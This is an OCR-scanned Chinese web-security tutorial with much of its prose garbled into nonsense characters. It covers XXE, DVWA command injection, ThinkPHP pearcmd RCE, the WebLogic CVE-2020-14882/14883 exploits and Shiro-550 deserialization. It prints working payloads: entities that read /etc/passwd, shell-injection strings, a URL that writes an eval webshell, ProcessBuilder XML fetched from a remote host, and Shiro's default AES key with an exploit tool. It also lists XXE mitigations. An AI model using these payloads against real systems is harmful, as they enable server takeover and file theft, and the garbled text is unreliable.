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Base64 | URLEncode | MD5 | TimeStamp

BMAER}IT Base64 RIDHMRBOFR
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Base64 RISMIBIILR: O R/BBEEHZE
<?php
/**
* Created by runner.han

* There is nothing new under the sun

*/
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2.1 @&

XXE: XML External Entity (XMLIMEBSLIK) , NZeRBEEMMXML External Entity attack (7M3BsE
WENKTE) . BT EFEREITEHANOXMLUEGRRS, #8 T IEE NERI N RRIE.
FIanPHPHRAYsimplexml_loadBRIAEIR FEMITIMEBSEIR, BXXERRAWREHERELE

simplexml_load_string().

2.2 XMLYPMERES

XMLERTHRCEFHEEEREMMRIRCIES, TLARAKRIRCEE. EXEERE, E—Fhnif
FFXE CRRCIESHTEXARIES. XMUIGHEMEEXMLER, DTD (SUEREEN) | XY
TTER.

BB THE—TIXMLRIEALS, HPFEEXE[DTD-LA]:
XML SCRYAE B, AR SCRIR SR — AT

XML SCRYEMSE X, BIDTD, XXE JRiFFTERIH 7T
XML SR ICER

version="1.0" ?>

note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<|ELEMENT heading (#PCDATA)>
<1ELEMENT body (#PCDATA) >

>George</to>
>John</ >
>Reminder</ >
>Don't forget the meeting!</ >

> security.tencent.com

DTD (SZRERENEN) RIFRREN XML MR EETEER, DTD AJLAE XML SHSARAR, tHaTLL
HNERSIFE. XMLIZAEZEBURIASARLNT |

WA BIDTD  <!DOCTYPE iz [BZEAEH]>
HAESFBADTD  <!DOCTYPE RJCE SYSTEM "fF4">

2445]: <!DOCTYPE note SYSTEM "Note.dtd"> H# <!DOCTYPE #Rjt#% PUBLIC "public_ID" "X
">

SEAI1.1: REBASBADTD

<?xml version="1.0"7> //xm1 75 B

<!DOCTYPE note [
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<!ELEMENT note (to,from,heading,body)> //EX Tnotest®, JfHnoterx® R4 TG
=

<!ELEMENT to (#PCDATA) > //EX T TuRto, MK (#PCDATA) i fEto
TR L4 8 N AT

<!ELEMENT from (#PCDATA) >

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body (#PCDATA) >

1> //M<!DOCTYPE. .. ZE|]>, RDTDCR4 I 5E X

<note>

<to>George</to>

<from>John</from>

<heading>Reminder</heading>

<body>Don't forget the meeting!</body>

</note> / / JE THUIZ B 53wl & XML SO 4 25

SCA1.2: HNERESBEDTD

<?xml version="1.0"7>

<!DOCTYPE note SYSTEM "note.dtd">
<note>

<to>George</to>

<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

X note.dtdlIABTHZ:

<!DOCTYPE note [

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA) >

<!ELEMENT from (#PCDATA) >

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body (#PCDATA) >

1>

DTDSLARRTEN S |IBE BN ASHTHRFAAIRESTRIEZE, FJLAREREEEGMRS A

W ISR <! DOCTYPE SR FR " SEARMIME">
Sl FHAMHBSZ4R <! DOCTYPE SEAK4 K SYSTEM "URL"> ¥ <!DOCTYPE =K% %X PUBLIC
"public_ID" "URL">

SEfI2.1: POEBABASLIR

<?xml version="1.0"?7>

<!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky'"> 1>
<note>

<name>&hack3r;</name>

</note>

SLf2.2: 51 FESMERSENR
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glob gopher *
phar

IERIINEBSERST S HONttp, fileSEtiY, BRARE AJREEE 5| FAINBSER A TImIE S RN,

23 f8E

SIS I RINGRSEIART, BEMIEEEAE, ISEERESXY. PTESHS. RUAMIKRO, ¥
TEARRMNULERE,

2.3.1 iEEUEEX ¥
PHPEREILUBITFILEMY, HTTPHSRIFTPHSGER¢, ARTFIFPHPHSHNY,

<?xml version="1.0"7>
<!DOCTYPE geek[
<!ENTITY f SYSTEM "file:///etc/passwd">

1>

<hhh>&f; </hhh>

232 TRFRGS

HMERRIORE, BEEEFASIHETFEANTNEBRT (PHP expectiERFINEE T 2 ZIENR
FEHMIEXMLBINEBR R L) | WEEEBEIXXER T,

<?xml version="1.0"7>
<!DOCTYPE geek[
<!ENTITY f SYSTEM "expect://id">

1>

<hhh>&f; </hhh>

2.4 Pikachuig7=
BA SN — P EIEAIXMISTRY -


af://n144
af://n146
af://n149
af://n152

<?xml version="1.0" encoding="UTF-8" 7>

<!DOCTYPE note [

<!ENTITY hack "geektime">

1>

<name>&hack; </name>

’RZfE, KUY, BRI TR mIEIER B SR EIZAY

&, Pikachu J@ilR&> & pika-pika-

W ESNE

" E=wali

4& Cross-Site Scripting

& CSRF

# SQL-Inject

# RCE

_ xxeim

v EE—TElomIEEERapi:

v |= <name=&hack;</name=

magedu

RS imFT= T DTDANERS I RIS BXIDTDMISIEHTITIERIER T, TLARIFADTDS | ARGREN M

<?xml version="1.0"7?>

<!DOCTYPE ANY [

<!ENTITY geektime SYSTEM "file:///etc/passwd">

1>

<x>&geektime;</x>

& Pikachu i®iEZ:> & pika~pika~

A > xeRE

BRANA

& RHBE

-£ Cross-Site Scripting
C CSRF

# SQL-Inject

# RCE

I File Inclusion

® Unsafe Filedownload
® Unsafe Fileupload

IT Over Permission

m
L
&

6 SURERMEE

= PHPRIFFIMt

| XXE

1R

XE—MEBxmIEEapi:

V| "file:///etc/passwd"} 1><x:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1pd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www—data:x:1000:33:www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534: nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mysql:x:999:999:: /home/mysql:/bin/sh



2.5 XXERYPf 1

2.5.1 ZERSMEBRSLiE

//php:
Tibxml_disable_entity_loader(true);

//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

//Python:
from 1xml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.5.2 iTiE AR EIE

idyEsefdiEl:.  <!DOCTYPE M <!ENTITY, 2i# SYSTEM 1 PUBLIC
=. =EABIGT
3.1 fH4ERCE

RCEZLIZ£FR: remote command/code execute, 738 ImfZap$HIIT (Ebfllping) F1 ImfB XIS4T
(Ektneval)

RCERR, AILULEE ERARARS BTSN ERADOHERD, NEHEERA.
3.1.1 ‘TR ST
HIUER: EANARANRIT EREARFREEETRG SIRIEED,

EbanE AR e, FHkiE. NERUIFRENAWebERRE L, —MRSLBAFRE— M pingiRIEN
web5RH, AFMWebREBABIRIP, BR/G, EESMWZIPHIHHTRpinglix, FRENIXE
R, MINRIRITEETRHIZINEERT, IRBEMIEIZ s, NRESSHRNEEBTZEOERER B8
RE'RES, MimzdlENEaRS:s.

Ping@Windows, UnixflLinuxR& F— 1M e, pingtBETF—MEENY, ETCP/IPHNYAI—ER
2. M ping S LMEEMEEEIER, JLRIFHEBIEAIDFAIFIEMEHTE. MAK:
ping + IPibik, #NE:


af://n160
af://n161
af://n163
af://n165
af://n166
af://n169

localhost:~ x$ ping .0.0.

PING 127.0.0.1 (127.0.0.1): 56 data

64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.043
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.123
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.134
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.113

64 bytes from 127.0.0.1: icmp_seg=4 ttl=64 time=0.073
AC

--- 127.0.0.1 ping statistics ---

5 packets transmitted, 5 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.043/0.097/0.134/0.034 ms
localhost:~ x$ [}

flan: MSREBPFEWIBIIEETS, RENRARFRET Btz FartTEfE, Hep
FRESHITER ARG SHITRIRA.

3.1.2 iZiEREBEHhT

HIREE: BAFERRLT, EEERSIEBFRBAEANIBR—ERoHTHIIT, BN T RS
PATIRIE.

3.1.3 BifiE

NRFELERNIRAFRARERNAPIZD, —EREREONMARNRSHITTSA0FIRT, tLaNshEr™
BHIBRBE—NFRITTIE.

3.2 DVWAER
3.2.1 LowZk5l
ZNEE— P pinglhge, BA—NMPHEIEBEIRTLAMBRSS B8zttt TpingtlE. TRCIBAIT:
<?php
if(C isset( $_POST[ 'submit' ] ) ) {
// Get input

$target = $_REQUEST[ 'ip' 1;

// Determine 0S and execute the ping command.
if( stristr( php_uname( 's' ), 'windows NT' ) ) {

// Windows

$cmd = shell_exec( 'ping ' . $target );
}
else {

// *nix

$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";


af://n175
af://n177
af://n179
af://n180

?>

targetSHUE EpinghUipititt, ECUNTERANERIN127.0.0.1,
e TTRI LA ES =
A && B:  JGHUTA, WL, $ATB;
A |l B: eddTA, RN, HATB;
A | B: BIEF, SGHUTAR, HARS BB, FTEIN)EBIN4S

A & B: ePUTA, REAERINET, ITB;

BELERERS, VR Epingar S EH IS EMAs SRR, HANEinux RSP H{Tping
127.0.0.1 &Is, MEHEEITpingiE<, Z/HUTISIES, FIHIARNMARIIAE. BAEX M5 ERE
AILASTHHE, MANEPRIEAN127.0.0.1 &Is, XEAFEHLIENtargetSEUENIRS RN MHFHEHED
RS FH AT,

IR RN E:

Home . Vulnerability: Command Injection
Instructions - -
| Ping a device

Setup / Reset DB | _ _

Enter an IP address: | 127.0.0.1:ls || Submit |
Brute Force PING 127.0.0.1 (127.0.0.1): 56 data bytes

fd bytes from 127.0.0.1: icmp_seq=0 ttl1=A4 time=0. 036 m=

64 bytes from 127.0.0.1: 1cmp_szeg=l ttl=64 time=0.003 m=
CSRF 64 bytes from 127.0.0.1: icmp_zeg=2 ttl=64 time=0.053 m=

fd bytes from 127.0.0.1: icmp_seq=3 ttl=A4 time=0.048 m=
——= 12%. 0. 0.1 ping statistics ———

File Inclusion |
| 4 packets tranzmitted, 4 packets received, 0% packet loz=
1

File Upload round-trip minfave/max/stddev = 0. 03670, 04870, 05370, 000 ms
Insecure CAPTCHA help

index. php
SQL Injection Zource

SQL Injection (Blind)




O DO 127001

hsmmit © =FEn

Vulnerability: Command Injection

Home |

Instructions |

Ping a device

Setup / Reset DB |

Enter an IP address: ‘ 127.0.0.1 & Is HSubmit]
Brute Force help

index.php

source

CSRF PING 127.0.0.1 (127.9.0.1): 56 data bytes

- - 64 bytes from 127.0.0.1: icmp_seq=0 tt1=64 time=0.116 ms

File Inclusion 64 bytes from 127.0.0.1: icmp_seg=1 tt1=64 time=0.213 ms
64 bytes from 127.0.0.1: icmp_seq=2 tt1=64 time=0.345 ms
64 bytes from 127.0.0.1: icmp_seq=3 tt1=64 time=0.226 ms

Insecure CAPTCHA —— 127.0.0.1 ping statistics ——

4 packets transmitted, 4 packets received, 0% packet loss

SQL Injection round-trip min/avg/max/stddev = 0.116/0.225/0.345/0.081 ms

SQL Injection (Blind)

XSS (Reaflartad)

3.2.2 MediumZg3l

|
|
|
|
File Upload |
|
|
|
|

Medium XSRS, RFFFSHITITIE, ATLAREMAY| |, | &EERT LU TIE.
<?php

if(C isset( $_POST[ 'submit' 1 ) ) {
// Get input
$target = $_REQUEST[ 'ip' 1;

// Set blacklist
$substitutions = array(
l&&l => T s

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target

Dt
// Determine O0S and execute the ping command.
if( stristr( php_uname( 's' ), 'windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>


af://n190

O O 127.0.01

) AR © SRR

Home

Instructions

Setup / Reset DB

Brute Force

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

Vulnerability: Command Injection

Ping a device

Enter an IP address: ‘ 127.0.0.1 & ifconfig ’[Submit]

PING 127.0.0.1 (127.0.0.1): 56 data bytes

64 bytes from 127.0.0.1: icmp_seq=0 tt1=64 time=0.169 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.320 ms
64 bytes from 127.0.0.1: icmp_seq=2 tt1=64 time=0.216 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.174 ms
—— 127.0.0.1 ping statistics -—

4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.169/0.220/0.320/0.061 ms

SQL Injection

MAava lnfarmmatian

Home

Instructions

Setup / Reset DB

Brute Force

CSRF

File Inclusion

3.2.3 High£&3l

SIFHigh, EXIATREE
Wr:
<?php

if( isset( $_POST[ 'Submit' ]

// Get input
$target =

// Set blacklist
$substitutions

l&l = 1

DALG:N

FFSERHT TILIBIR(E, BREX

Vulnerability: Command Injection

Ping a device

Enter an IP address:|12?llﬂ.1“s

|| Submit |

help
index. php
zource

DEDIE

trim($_REQUEST[ 'ip' 1);

array(

TR, 7T —PES,


af://n195

l||l = ll’

DE

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target

Dt
// Determine 0S and execute the ping command.
if( stristr( php_uname( 's' ), 'windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>

ERSITHHTRIENRE, SIEA—ERWAN, REAN127.0.0.1 | Is (BIBEEETHE)
127.0.0.1[ls, WEMR—E, FALARERINSERERTLASHIE.

O O 127.0.01

sERL @ AR

o . Vulnerability: Command Injection
Instructions | Plng a device
Setup / Reset DB |

Enter an IP address: [127.0.0.1|ls | submit |
Brute Force help

index.php

source

File Inclusion

File Upload More Information

Incariira CAPTCHA

3.3 Thinkphp RCE
3.3.1 jEiRtitiA

Thinkphp2—MREFFRRY, RE. BEENEEXNSRATEERPHPTIRIER, BATEREWebNAFA
Mfaf Al N FFF A TRAERT.

|
|
CSRF |
|
I


af://n200
af://n201

20225128, ThinkphpigEHEFESIESEENIER M EXEE SRR, EET L@ get.
header, cookieFMBENSE, TMBRFH+HEE, Bidpearcmd X4 X MrickBIa LI
RCE,

MANBRT, RERSNMBEONESE, URFEZESENMUURENR, FEEERIFEHE
XHpRiihEtEX, RRBEERSESHBEBFERRIINARZ FERIE.

TR FH 2 A

1. ZIEF I

2. HipearfE

3. Hli&pearcmd.phpitit

4. register_argc_argv = on

3.3.2 lIn;cE

6.0.1 < ThinkPHP < 6.0.13
5.1.0 < ThinkPHP < 5.1.8
5.0.0 < ThinkPHP < 5.0.12

3.3.3 RS

docker pull vulfocus/thinkphp:6.0.12
docker run -d -p 8080:80 vulfocus/thinkphp:6.0.12

MESE8iGIE]: http://your ip:8080/public/

€« C A F=2 | 49.232.14.126:8080/public/

ThinkPHP V6.0.12LTS

145 HIOAK - (REESEHAIPHPHESE
[ V6.0 RAH {2FE = B8 A |

3.3.4 [wifliET
Bl EEFEpearcmd, AR, MRAFE NEFIIRERIATE

?lang=../../../../../../../../usr/local/1ib/php/pearcmd


af://n206
af://n208
http://your_ip:8080/public/
af://n212

&« C A F=%| 5:8080/public/?lang=../../../...

/.4..Jusrflocal/lib/php/pearcmd = % O &

Warning: array_map(): Expected parameter 2 to be an array, null given in pearcmd.php on line 348 Warning: max(): When only one parameter is given, it must be an array in
pearcmd.php on line 348 Warning: ksort() expects parameter 1 to be array, null given in pearcmd.php on line 350 Warning: Invalid argument supplied for foreach() in
pearcmd.php on line 351

EXP

?lang=../../../-./-./-./-./../../../usr/Tlocal/Tlib/php/pearcmd&+config-create+/<?
=phpinfo()?>+/var/www/html/geektimel.php

?lang=../../../-./-./-./../../../../usr/Tlocal/Tib/php/pearcmd&+config-create+/<?
=@eval($_REQUEST['a']);?>+/var/www/html/geektime2.php

CONFIGURATION (CHANNEL PEAR.PHP.NET): Auto-discover new Channels auto_discover Default Channel  #
defauli_channel pear.php.net HTTP Proxy Server Address hitp_proxy PEAR server [DEPRECATED] master_server Default Channel Mirror preferred_mirror
Remote Configuration File remote_config PEAR executables directory bin_dir //pear PEAR documentation directory doc_dir //pear/docs PHP extension
directory ext_dir //pear/ext PEAR directory php_dir //pear/php PEAR Installer cache directory cache_dir //pear/cache PEAR configuration file cfg_dir
//pear/cig directory PEAR data directory data_dir //pear/data PEAR Installer download download_dir //pear/download directory Systems manpage files
man_dir //pear/man directory PEAR metadata directory metadata_dir PHP CLI/CGI binary php_bin php.ini location php_ini —-program-prefix passed to
php_prefix PHP's ./configure —program-suffix passed to php_suffix PHP's ./configure PEAR Installer temp directory temp_dir //pear/temp PEAR test directory
test_dir //pear/tests PEAR www files directory www_dir //pear/www Cache TimeTolive cache_til Preferred Package State preferred_state Unix file mask
umask Debug Log Level verbose PEAR password (for password maintainers) Signature Handling Program sig_bin Signature Key Directory sig_keydir
Signature Key Id sig_keyid Package Signature Type sig_type PEAR usemname Hordsemane-mcintainer-tserContiguration-Fie-Fk Aagtbansng
/himl/magedu.php System Configuration File Filename #nos#system#configd Successiully created default configuration file "/var/www/html/magedu.php”

BENpE, BEEREphp3Xtt, MO

< C A Tz %:8080/magedul.php

#PEAR_Config 0.9 a:12:{s:7:"php_dir";s:24:"/

php

System Linux ab6ed6a1d93a 3.10.0-1160.92.1.¢l7 x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
Build Date Dec 21 2021 21:30:57
Configure Command *.fconfigure’ '--build=x86_64-linux-gnu' '--with-config-file-path /usrﬂuca\/e{c{php "--with- conf‘g -file-

scan-dir=fust/local/etc/php/confd’ *--enable-option-checking=fatal
fip' -enable-mbstring’ —enable-mysqlnd’ —with-password-argon2’ —with-sodium=shared’
pelo-sqlite=/usr' "with-sqlite3=/usr’ -with-curl *with-openssl’ "with-readline’ "-nith =l
pear’ '—with-libdir=lib/x86_64-linux-gnu' "—-disable-cgi' -with-apxs2" ‘build_alias=x86_64-linux-gnu’

ith-mhash’ '--with-pi

Server APl Apache 2.0 Handler

Virtual Directory Support disabled

3.3.5 (&Y

1. %%JZ\E, Ej‘éel‘ﬂg’ln ijJ
2. FHEEHCE

3.4 Weblogic RCE
3.4.1 [wiRERi2

WeblogickRIZUniZam<SHiTIwIE (CVE-2020-14882, CVE-2020-14883)

20205 OracleBE/A AT 7B MEMHNBSBRREAS. HPHSFIA CVE-2020-14882 & CVE-2020-
14883 AfEEHESuIWebLogic B ERIRH, ImEHITRIDIREXWebLogichRSSE51PR, FIFMEENR
%, RBERK,

] o

CVE-2020-14882: RVFABBULI o & 3 i il & HAL BRI U5 vl )5 &

CVE-2020-14883: A¥)a &EmH P BEHTTPIHAT R a4

XA AR, oTAESdE R S B E 6, REHRTGETIHREwebTogi clk4r# imf
PAT A4


af://n221
af://n223
af://n224

3.4.2 SN;BE

webLogic 10.3.6.0.0
webLogic 12.1.3.0.0
wWebLogic 12.2.1.3.0
webLogic 12.2.1.4.0
webLogic 14.1.1.0.0

3.4.3 iRkEE

Vulhub: https://vulhub.org/

Vulhub2— 1 ETFdockerflldocker-composefUiRRIMNESES, HAXNBRFHIT—RIEDRIEIE5h
— I 2RERE, ILRRSENEEENER, tReEMREENE TTFRERERS,

& VULHUB TWOSOE  WEAS BE HEK

Vulhub
fEAVulhub— A EE iR #8ls

root:~ # docker-compose up -d

Follow @vulhub Star Fork

zZHDocker: FIMIMREC/ AL, HEER
Z4:Docker-compose: yum install -y docker-compose
F#Vvulhub: git clone https://github.com/vulhub/vulhub.git

W githubT AJF, AlLI#E/fgitee: git clone https://gitee.com/hundan-90/vulhub.git

FriafErm

R B
fEvuThubrFk R IRET, HEAJEI H %530 docker-compose up -d

bR ERES
vuThub i RIAM SR E [ VE4Rm SR, aREfgwes. Bah. HE. S8, F#l
https://vulhub.org/#/environments/

BAER A

{%1k: docker-compose stop

JJa: docker-compose start
k. docker-compose down

BEhWeblogicimiRFE


af://n227
af://n229
https://vulhub.org/

cker.
Pulling from docker.
complete
complete
complete

complete
complete

/er image
eblogic_1 ...

< C A F=2 :7001/console/login/LoginForm.jsp 2 ¢ O 2

ORACLE WeblLogic Server Administration Console 12¢

Wi
BRLIER weblogic Server i

B c———

o%:

2=

3.4.4 [EifiET
3.4.4.1 CVE-2020-14882

13iA) http://your-ip:7001/console REIERIMH, IERRREEERENKSEBTRERIER,
IXEEFFICVE-2020-14882iFiA, ARLATURL, BIRIRESIAAZIEEEERE:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
o

http://your-ip:7001/console/images/%252e%252e%252fconsole.portal

M. %252e%252e%252F RZPIRURLIRAD G . ./, 3B IE XA nT DASC I 2B R AR AR AL VT 17 5 65 DL

< C A fx= 7001/console/images/%252e%252e%252fconscle.portal =z w O &

-
orac 5 WebLogis Server S i: —— —
G le_WebLogic Server EERSRISATA +m gy miEm e EICE 35 2 ‘ =Y i’xim,‘i%%%
EEFRNEHR Ed
B aEERe RS, RIS E=)
HPHEE,
EEWER

oz

- EEUEES - EESEEERE

* 73 RAC SRIEIRESE Gridlink " R

= 7 My Oracle Support 273

L1 . SEEER o WTCEEESE
 Jolt EREH
. EEE
. BE

RS
BEUFHEFEETRESSRNRRR
i RE8:00

» EEESIREE
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MRiZWHEHA BEBEBEREN LG ANEESEEEMNEEEL, BTFRAR, ROEEEIRE, KT
ELENA, AT EBIESEME S NEERBIR, BELHIRSSEERCE, MEERBIM—
JmiF (CVE-2020-14883) ,

3.4.4.2 CVE-2020-14883

RIAHR—:

GO
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationCon

text 38SCH, IXFSIAREAE CVE-2019-2725 (WeblogiciFFAIitimR) #4RH, B—MNERRIS
i%, XJWeblogiclIFRBIRAIIE. WHEFEMEIXMLM, BITHEXMUXHRFITERS.

EE—NEERIXMLE, FHEERFEWeblogicAJLUGRIZIRIARSS SR £, 40

http://example.com/rce.xml :

<?xml version="1.0" encoding="UTF-8" 7>
<beans xmlns="http://www.springframework.org/schema/beans"
xmins:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/geektimel]]></value>
</Tist>
</constructor-arg>
</bean>
</beans>

iBIEENITRURL, BIRJiEWeblogiciIEiZ&mXMLI M, FHUTEFRIGRS

http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
pport.FileSystemxmlApplicationContext("http://example.com/rce.xml™)

< C A f== 7001/console/.%2fconsole.portal?_nfpb=true&_pagelabel=UnexpectedExceptionPage = w O &

Error 404--Not Found

From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:

10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent.

If the server doss not wish to make this information available to client, the status code 403 (Forbidden) can be 1

(Gone) status code SHOULD ke used if the server kncws, through some internally configurable mechanism, that an old resource is permanently
unavailakle and has no forwarding address.

HAEES, AJLURIN touch /tmp/geektimel BERIIHIAT:

[oracles :
hsperfdata_oracle wlst0fflineLogs oracle wlstTemporacle

[oraclegag
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XFF RS ENREZL, FiE2EEWeblogiclREE88E51HIRZEIEEXML,
FABR=:

181J com.tangosol.coherence.mvel2.sh.Shellsession Z55CH, IXAMFIFEGEREEE Weblogic
12.2.1 LA ERRAFIF, EA10.3.6 (LESHORAFREX—METF12.2.1) RAKEXNE.

BEEAHEWTRURL, BEIEHITHS:
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?

_nfpb=true&_pagelLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java
.lang.Runtime.getRuntime() .exec("'touch%20/tmp/geektime2');")

<« C A F==z :7001/console/images/%252e%252e%252fconsole.portal? nfpb=true& _pagelabel=&handle=com.tangosol.coherence.mvel2sh.She.. = % [ & !

Sorace 515 WebLogle Server Emn 12c | P |
lewveblLogic Server BERRIATN +m ey mgmm wITHODR 38 20 ‘ i lfii&l,‘ig%%: base_domain
Eail

RIS NERIEY. CEEERSSNETIRTAEER.

E=)

EEmER

- jesecanae + WICEEE
« Jolt =i

. m=8 " s

. &5

- AERARE . #S

- B

. A

. EHERE - WS

- TiEEBE% = NS ERES

HAEEE, FJLURI touch /tmp/geektime2 BERIIHIAT:

[oracle@ad3fe73f2235 tmpls
hsperfdata _oracle magedul

magedu? wlstOfflinelogs oracle wlstTemporacle

[oracle@ad3fe73f2235 tmpls |}

3.4.5 (E5EIY

1. #IE, mikiExfconsole
2. JHEETHRA

3.5 Shiro RCE
3.5.1 imiREhA
Apache Shiro2—FFFRjavaReiESE, RHBSMIGIE. B, BiRFNSIEEEEIEE.

ShiroFFFILIRIE (CVE-2016-4437. Shiro-550) : #EApache ShirofJHEZEH, HATEHHIRIERTHRML
T—MCEEBHINEE (RememberMe) , MIRFAFERITAE TIXMNER, FAFRIEKEIESHRY
CookieFEBRZH—EBEE, X—EBHEEATHEFPNEMES, BEREIINEN, NEERE:

HPER --> Folk --> AESI® (X—PIFHEH%EHkey) --> Baseb4%ifiy --> RememberMe
cookiefl


af://n265
af://n267
af://n268

RBIBDHEHR, RSHTFESSCookieEBfIRememberMe=EfRE, RIEINZMINGF, RHERET

2!
RememberMe Cookiefti --> Base64fi#fd --> AESHE® --> FHML CRAFZEIEAHE) --> FAFER

HIERRRIAET: AESINZERZSBKey RIS ERABE (BAAESA: kPH+bIxkSD2deZilxcaaaA==) ,
X EREHIAZITLUBS R CBERNAESINIERNZR. B, MRIEAFEEERNERDS, &
54k, AESHNZE. Base644miBfS, {EJiCookiefiRememberMe=ERki%, IRSZImIEM
RememberMe=FERIH{THERD. fR%, REFFILIFERITIHIE, RREMZRE, LIEEHRSH
7.

3.5.2 ZlIn;cE

Apache shiro < 1.2.4

3.5.3 IfiEEE

vulhub / shiro / CVE-2016-4437
K5: admin
2. vulhub

3.5.4 FiRiER

B AM BRNuL RS EER T ShirolEZRIHTBMIEIE. B, FIRIISREE, BRAER: aificHE
BREIENE, Rbex. ME, MREkE+HEEERememberMe=ER:

1. REFMIENT, iERaMcookiet A RememberMe 7L, R [Flflset-CookieE kA deleteMeFEL
2. B FRNIE, ANEARAAE“Remember me", R[EIf1#£f RememberMe=de] eteMeF B

3. A4Va) % “Remember me", EFEMINNE, X[ flset-Cookief ffRememberMe=deleteMeFEL, HEZ
JE BT 15 3R Fh Cook 1 el A~ &5 Remembe rMe 7 B¢

4.7k “Remember me", BFMINMIIE, REfset-CookieffRememberMe=deleteMeFE, A
RememberMe I INE 7B, 2 J5 T4 &Rk T Cooki e# x4 Remembe rmMe 7 Bt

5. 80 7 LA7E cooki e5 T H T i— 1 RememberMe=1, %ik[E{4 %G RememberMe=deTleteMe

RENR A HHIRememberMe=deleteMe=F R IIERNER A 7 ShirolZZ#TEMHIIE, B2
HAREERAR B FERIR.

BETRRFRHTREEN, ShirokFFCRRAEGNSHEIG—L R :

(1) WELERE

(2) RAEEIR

(3) AESHIkeymTBEHIE

IHFRIF/NEEE, FLUEIEDNSLogFE (http://www.dnslog.cn) EHHTIRIERIET; XFFE=/Na
&, fLABSERRE. MHEE. EOBEE L ERKEkey, MBRIEXIShirokFIILRRE, EiR
AiERERTRIRREFI R I ERF T,

TEH—: ShiroExploit.v2.51

N#EhE: https://github.com/feihong-cs/sShiroexploit-Deprecated


af://n275
af://n277
af://n279
http://www.dnslog.cn/

FIFIER, B, ALERIFIRRERAE T = NEm:

B Shiro550/721 BB v2.51 Final by 18

EERITERER ‘ Shiro550 -

wEME | | £T

SHitpER

{55 keys.conf.big

i87EKey/Gadget/EchoType \

1.8 :HttpisR: WRBEE XhttpiER, ke, FhHaHismAKE

2 .ffiflkeys.conf.big: fHH THITHEMALRES, BRiMEHkeys. confilll, %7 LES R — s H %
B, WA EHE R, WiEFkeys . conf.bigF

3.f8EKey/Gadget/EchoType: fgiEKey. FIFEE. [H&E 7705,

—RERIRARIEEAZ, EERAURLRTE F—2", REEEGNS5 R

B http/f Wlogin — O >

£ ceye.io BEiTRERT
& dnslog.cn #TiRREREN

{#£/ IRMP + dnslog.cn BHTiREEN

.|II|
II II
Al
C|[i;
b

0
1|

(@) EHEES:ETEEE

—F 2

ShiroExploit TERA T PIFMENS T, SMAOIRLNRSSAER, BEH—TTHRIETLIET
github FEIREXREERRANA., XEH(IEFR EREEHTREGN, RABREARERE

#*&
Eo

RE T FHRtEN, WTERFR, BfrbREEmRE, ShiroRIRUARR. FIRESEHKERLRE:



B http:/f )login — ] =

EEEE Fire

[*] Using Shiro550VerifiertUsingEcho

[*] Trying identify valid key using SimplePrincipalCollection by [1nk3r
[*] Trying Key: kPH+blxk5D2deZilxcaaal==

